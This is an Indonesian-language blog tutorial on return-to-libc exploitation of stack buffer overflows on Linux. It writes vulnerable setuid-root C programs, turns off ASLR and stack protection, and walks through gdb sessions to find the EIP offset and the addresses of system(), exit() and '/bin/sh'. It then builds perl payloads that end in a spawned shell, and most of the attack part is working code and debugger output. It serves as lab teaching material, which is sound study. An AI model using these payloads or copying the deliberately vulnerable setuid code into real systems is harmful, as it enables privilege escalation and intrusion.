Eksploitasi Return to libc di Linux


author: ev1lut10n

for better view article: 
http://myw1sd0m.blogspot.com/2011/01/eksploitasi-return-to-libc-linux.html
(beberapa teks bergeser di sini krn pico netbsd
)
my blog : http://myw1sd0m.blogspot.com


jargon: sfp = stack frame pointer

Dengan teknik standar saat stack based buffer overflow (seperti artikel 
yang pernah saya tulis 1 tahun lalu), jika kernel korban menerapkan non 
executable stack maka shellcode kita tidak akan bisa dieksekusi, oleh 
karena itu diperlukan teknik

return into libc ini. Teknik ini berhasil jika kita bisa melakukan 
overwrite pada return address

dengan alamat fungsi library c, misal: system(), selain teknik ini ada 
teknik lain yahng lebih bagus tapi tidak akan dibahas sekarang.


Coba perhatikan gambaran dari program yang terkena stack based bof berikut 
ini:

(misal buffer size: 16 dimana terjadi malicious input string A (24 bytes))


|AAAAAAAAAAAAAAAA|AAAA|AAAA|AAAA

buffer =16                            sfp  ret

di sini terjadi stack based bof di mana program akan mengalami crash dan 
eksekusi terjadi pada return address (eip) yang dioverwrite, perhatikan 
bedanya:



serangan biasa


|  nop nop nop   |      ret                      |                      
shellcode                         |

    (args)               (ebp)                                        
(eip)



serangan dengan return to libc

<------stack------

------------alamat------------->

|     buffer           |  fungsi standar (libc)   |   fake return    |  
/bin/sh (-> hanya contoh)        

    (args)                     (ebp)                              (eip)




untuk uji coba pertama kita siapkan sedikit kode c yang mengandung bug:


filename: bug.c

-----------------------

//stackbof.c

#include <string.h>

#include <stdio.h>

fungsi_yang_vulner(char *temp1, char * temp2)

{

char bufer[400];

sprintf(bufer,temp2);

printf("\nIsian data: %s %s\n",temp1,temp2);

}


int main(int argc, char * argv[])

{

fungsi_yang_vulner(argv[1],argv[2]);

printf("\nIsian data Anda: %s %s \n",argv[1],argv[2]);

}



kompile :

ev1lut10n@bt:~$ gcc stackbof.c -fno-stack-protector 
-mpreferred-stack-boundary=2 -o stackbof

ev1lut10n@bt:~$ sudo chown root:root stackbof

ev1lut10n@bt:~$ sudo chmod u+s stackbof

ev1lut10n@bt:~$ sudo /sbin/sysctl -w kernel.randomize_va_space=0


-------------------------


ketikkan ini jika ingin agar ada core dump :

---------------------

ulimit -c unlimited

---------------------



buka gdb:

-------------------------

gdb -q stackbof




(gdb) run argumen1 `perl -e 'print "A"x407'`

The program being debugged has been started already.

Start it from the beginning? (y or n) y


Starting program: /home/ev1lut10n/stackbof argumen1 `perl -e 'print 
"A"x407'`


Isian data: argumen1 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA


Program received signal SIGSEGV, Segmentation fault.

0x00414141 in ?? ()


yup tingal 1 byte lagi teroverwrite penuh.


(gdb) run argumen1 `perl -e 'print "A"x408'`

The program being debugged has been started already.

Start it from the beginning? (y or n) y


Starting program: /home/ev1lut10n/stackbof argumen1 `perl -e 'print 
"A"x408'`


Isian data:  
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA


       

Program received signal SIGSEGV, Segmentation fault.

0x41414141 in ?? ()

(gdb) i r

eax            0x1a7    423

ecx            0x0      0

edx            0xb7f0f0d0       -1208946480

ebx            0xb7f0dff4       -1208950796

esp            0xbff9e1b8       0xbff9e1b8

ebp            0x41414141       0x41414141

esi            0x8048490        134513808

edi            0x8048340        134513472

eip            0x41414141       0x41414141

eflags         0x210292 [ AF SF IF RF ID ]

cs             0x73     115

ss             0x7b     123

ds             0x7b     123

es             0x7b     123

fs             0x0      0

gs             0x33     51

(gdb)                    


terlihat eip sudah teroverwrite penuh dengan string A (hex=41).





set break point di main:


(gdb) break main

Breakpoint 1 at 0x8048434

(gdb) p system

$1 = {<text variable, no debug info>} 0xb7ee0ac0 <system>

(gdb) run

The program being debugged has been started already.

Start it from the beginning? (y or n) y


Starting program: /home/ev1lut10n/stackbof argumen1 `perl -e 'print 
"A"x408'`


Breakpoint 1, 0x08048434 in main ()

Current language:  auto; currently asm


Selanjutnya cari alamat memori untuk system dan execl:


(gdb) p system

$1 = {<text variable, no debug info>} 0xb7eaaac0 <system>



* Setting environ shell

$ export MYSHELL=/bin/sh


untuk menemukan alamat /bin/sh :


#include <stdio.h>

void main(){

char* shell = getenv("MYSHELL");

if (shell)

printf("%x\n", (unsigned int)shell);

}


ev1lut10n@bt:~$ ./find

bffffea8


kembali ke jendela gdb:


(gdb) x/s 0xbffffea8

0xbffffea8:      "n/sh"


ok berarti :


(gdb) x/s 0xbffffea0

0xbffffea0:      "/bin/sh"

(gdb)      


ditemukan alamat /bin/sh pada 0xbffffea0 dienkode ke endian menjadi: 
\xa0\xfe\xff\xbf


(gdb) p exit

$1 = {<text variable, no debug info>} 0xb7e9fd00 <exit>


ditemukan alamat exit pada 0xb7e9fd00, enkode menjadi : \x00\xfd\xe9\xb7



jumlah byte yang diperlukan untuk total overwrite eip=408


408-4=404


alamat untuk system()  = 0xb7eaaac0, dienkode menjadi: \xc0\xaa\xea\xb7



Demi untuk mewujudkan kondisi ini:


penyisipan junk : \x00\xfd\xe9\xb7


|A sebanyak 400 biji || 0xb7eaaac0 (alamat memori sistem) || 4byt || 
0xbffffea0(alamat /bin/sh)

______________________________________________________________________________________

    argumen                    ebp                                                   
eip          

   



r `perl -e 'print "A"x404 . "\xc0\xaa\xea\xb7" . "4byt" . 
"\xa0\xfe\xff\xbf";'`






* Contoh dengan Buffer yang Lebih Kecil 



/* bug.c */

#include <stdio.h>

int main(int argc,char *argv[])

{

setuid(0);

char b[5];

printf("\nadding : %s",argv[1]);

sprintf(b,argv[1]);

printf("\nuser input:%s\n",&b);

}




buka gdb

$ gdb -q bug

(gdb) r `perl -e 'print "A"x12'`

The program being debugged has been started already.

Start it from the beginning? (y or n) y


Starting program: /home/ev1lut10n/bug `perl -e 'print "A"x12'`


adding : AAAAAAAAAAAA

user input:AAAAAAAAAAAA


Program received signal SIGSEGV, Segmentation fault.

0x00414141 in ?? ()

(gdb)              


1 byte lagi eip teroverwrite penuh


(gdb) r `perl -e 'print "A"x13'`

The program being debugged has been started already.

Start it from the beginning? (y or n) y


Starting program: /home/ev1lut10n/bug `perl -e 'print "A"x13'`


adding : AAAAAAAAAAAAA

user input:AAAAAAAAAAAAA


Program received signal SIGSEGV, Segmentation fault.

0x41414141 in ?? ()

(gdb)            

(gdb) p system

$1 = {<text variable, no debug info>} 0xb7eaaac0 <system>



* Setting environ shell

$ export MYSHELL=/bin/sh


untuk menemukan alamat /bin/sh :


#include <stdio.h>

void main(){

char* shell = getenv("MYSHELL");

if (shell)

printf("%x\n", (unsigned int)shell);

}


ev1lut10n@bt:~$ ./find

bffffea8


kembali ke jendela gdb:

(gdb) b main

Breakpoint 1 at 0x804842a

(gdb) run

Starting program: /home/ev1lut10n/bug


Breakpoint 1, 0x0804842a in main ()

Current language:  auto; currently asm

(gdb) x/s 0xbffffea8

0xbffffea8:      "n/sh"

(gdb) x/s 0xbffffea0

0xbffffea0:      "HELL=/bin/sh"

(gdb) x/s 0xBFFFFEA2

0xbffffea2:      "LL=/bin/sh"

(gdb) x/s 0xBFFFFEA5

0xbffffea5:      "/bin/sh"

(gdb)    


         


ditemukan alamat /bin/sh pada 0xbffffea5 dienkode ke endian menjadi: 
\xa5\xfe\xff\xbf



jumlah byte yang diperlukan untuk total overwrite eip=408


13-4=9


alamat untuk system()  = 0xb7eaaac0, dienkode menjadi: \xc0\xaa\xea\xb7



Demi untuk mewujudkan kondisi ini:


penyisipan junk : TTTT (x54 sebanyak 4 biji)


|A(9x)              || \xc0\xaa\xea\xb7(sistem) || TTTT || 
\xa5\xfe\xff\xbf(alamat /bin/sh)

______________________________________________________________________________________

    argumen                    ebp                          eip             

   



sehingga


r `perl -e 'print "A"x9 . "\xc0\xaa\xea\xb7" . "TTTT" . 
"\xa5\xfe\xff\xbf";'`





Dan jika berhasil maka tampilanya sbb:






-----------------------------------------

ev1lut10n@bt:~$ gdb -q bug

(gdb) r `perl -e 'print "A"x9 . "\xc0\xaa\xea\xb7" . "TTTT" . 
"\xa5\xfe\xff\xbf"

;'`

Starting program: /home/ev1lut10n/bug `perl -e 'print "A"x9 . 
"\xc0\xaa\xea\xb7"

. "TTTT" . "\xa5\xfe\xff\xbf";'`


adding : AAAAAAAAA????TTTT????

user input:AAAAAAAAA????TTTT????

sh-3.2$

---------------------------------------------



thanks to : all devilzc0de crews and members

greets: superman , chaer newbie, flyf666, kiddies, gunslinger